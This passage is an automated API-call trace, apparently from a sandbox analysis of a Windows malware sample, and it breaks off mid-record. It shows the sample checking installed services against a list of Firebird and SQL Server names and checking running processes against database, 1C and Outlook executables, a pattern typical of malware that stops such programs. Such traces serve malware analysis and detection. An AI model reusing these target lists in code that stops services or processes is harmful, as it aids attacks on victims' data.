1 [0039.273] lstrlenW (lpString="EventSystem") returned 11 [0039.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0039.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0039.273] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0039.273] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0039.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0039.273] lstrlenW (lpString="gpsvc") returned 5 [0039.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0039.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0039.273] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0039.273] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0039.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0039.273] lstrlenW (lpString="iphlpsvc") returned 8 [0039.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.273] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0039.273] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0039.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0039.273] lstrlenW (lpString="LanmanServer") returned 12 [0039.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0039.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0039.273] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0039.273] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0039.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0039.273] lstrlenW (lpString="LanmanWorkstation") returned 17 [0039.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.273] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0039.273] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0039.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0039.273] lstrlenW (lpString="lmhosts") returned 7 [0039.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0039.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0039.274] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0039.274] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0039.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0039.274] lstrlenW (lpString="MMCSS") returned 5 [0039.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0039.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0039.274] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0039.274] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0039.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0039.274] lstrlenW (lpString="MpsSvc") returned 6 [0039.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0039.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0039.274] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0039.274] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0039.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0039.274] lstrlenW (lpString="Netman") returned 6 [0039.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0039.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0039.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0039.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0039.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0039.274] lstrlenW (lpString="netprofm") returned 8 [0039.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0039.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0039.274] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0039.274] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0039.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0039.274] lstrlenW (lpString="NlaSvc") returned 6 [0039.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0039.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0039.274] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0039.274] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0039.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0039.274] lstrlenW (lpString="nsi") returned 3 [0039.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0039.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0039.275] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0039.275] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0039.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0039.275] lstrlenW (lpString="PcaSvc") returned 6 [0039.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0039.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0039.275] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0039.275] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0039.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0039.275] lstrlenW (lpString="PlugPlay") returned 8 [0039.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0039.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0039.275] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0039.275] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0039.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0039.275] lstrlenW (lpString="Power") returned 5 [0039.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0039.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0039.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0039.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0039.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0039.275] lstrlenW (lpString="ProfSvc") returned 7 [0039.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0039.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0039.275] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0039.275] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0039.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0039.275] lstrlenW (lpString="RpcEptMapper") returned 12 [0039.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.275] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0039.275] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0039.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0039.276] lstrlenW (lpString="RpcSs") returned 5 [0039.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0039.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0039.276] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0039.276] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0039.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0039.276] lstrlenW (lpString="SamSs") returned 5 [0039.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0039.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0039.276] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0039.276] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0039.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0039.276] lstrlenW (lpString="Schedule") returned 8 [0039.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0039.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0039.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0039.276] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0039.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0039.276] lstrlenW (lpString="SENS") returned 4 [0039.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0039.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0039.276] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0039.276] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0039.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0039.276] lstrlenW (lpString="ShellHWDetection") returned 16 [0039.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.276] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0039.276] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0039.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0039.276] lstrlenW (lpString="Spooler") returned 7 [0039.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0039.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0039.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0039.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0039.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0039.277] lstrlenW (lpString="SysMain") returned 7 [0039.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0039.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0039.277] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0039.277] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0039.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0039.277] lstrlenW (lpString="Themes") returned 6 [0039.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0039.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0039.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0039.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0039.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0039.277] lstrlenW (lpString="TrkWks") returned 6 [0039.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0039.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0039.277] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0039.277] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0039.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0039.277] lstrlenW (lpString="UxSms") returned 5 [0039.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0039.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0039.277] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0039.277] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0039.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0039.277] lstrlenW (lpString="WdiServiceHost") returned 14 [0039.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0039.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0039.277] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0039.277] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0039.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0039.277] lstrlenW (lpString="WdiSystemHost") returned 13 [0039.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0039.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0039.278] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0039.278] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0039.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0039.278] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0039.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0039.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0039.278] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0039.278] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0039.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0039.278] lstrlenW (lpString="Winmgmt") returned 7 [0039.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0039.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0039.278] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0039.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0039.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0039.278] lstrlenW (lpString="WPDBusEnum") returned 10 [0039.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0039.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0039.278] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0039.278] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0039.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0039.278] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32982a0 | out: hHeap=0x790000) returned 1 [0039.278] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0039.280] Process32FirstW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0039.280] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0039.280] lstrlenW (lpString="System") returned 6 [0039.280] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0039.281] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0039.281] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0039.281] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0039.281] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0039.281] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0039.281] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0039.281] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0039.281] lstrlenW (lpString="smss.exe") returned 8 [0039.281] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0039.281] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0039.281] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0039.281] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0039.281] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0039.281] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0039.281] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0039.281] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.281] lstrlenW (lpString="csrss.exe") returned 9 [0039.281] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0039.281] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0039.282] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0039.282] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0039.282] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0039.282] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0039.282] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0039.282] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0039.282] lstrlenW (lpString="wininit.exe") returned 11 [0039.282] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0039.282] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0039.282] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0039.282] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0039.282] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0039.282] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0039.282] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0039.282] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.282] lstrlenW (lpString="csrss.exe") returned 9 [0039.282] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0039.282] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0039.282] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0039.282] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0039.282] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0039.283] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0039.283] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0039.283] lstrlenW (lpString="winlogon.exe") returned 12 [0039.283] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0039.283] lstrlenW (lpString="services.exe") returned 12 [0039.283] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0039.283] lstrlenW (lpString="lsass.exe") returned 9 [0039.283] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0039.284] lstrlenW (lpString="lsm.exe") returned 7 [0039.284] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.284] lstrlenW (lpString="svchost.exe") returned 11 [0039.284] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.284] lstrlenW (lpString="svchost.exe") returned 11 [0039.284] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.285] lstrlenW (lpString="svchost.exe") returned 11 [0039.285] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.285] lstrlenW (lpString="svchost.exe") returned 11 [0039.285] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.285] lstrlenW (lpString="svchost.exe") returned 11 [0039.285] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0039.286] lstrlenW (lpString="audiodg.exe") returned 11 [0039.286] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.286] lstrlenW (lpString="svchost.exe") returned 11 [0039.286] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.286] lstrlenW (lpString="svchost.exe") returned 11 [0039.286] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0039.286] lstrlenW (lpString="dwm.exe") returned 7 [0039.286] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0039.287] lstrlenW (lpString="explorer.exe") returned 12 [0039.287] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0039.287] lstrlenW (lpString="spoolsv.exe") returned 11 [0039.287] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0039.287] lstrlenW (lpString="taskhost.exe") returned 12 [0039.287] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.288] lstrlenW (lpString="svchost.exe") returned 11 [0039.288] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, 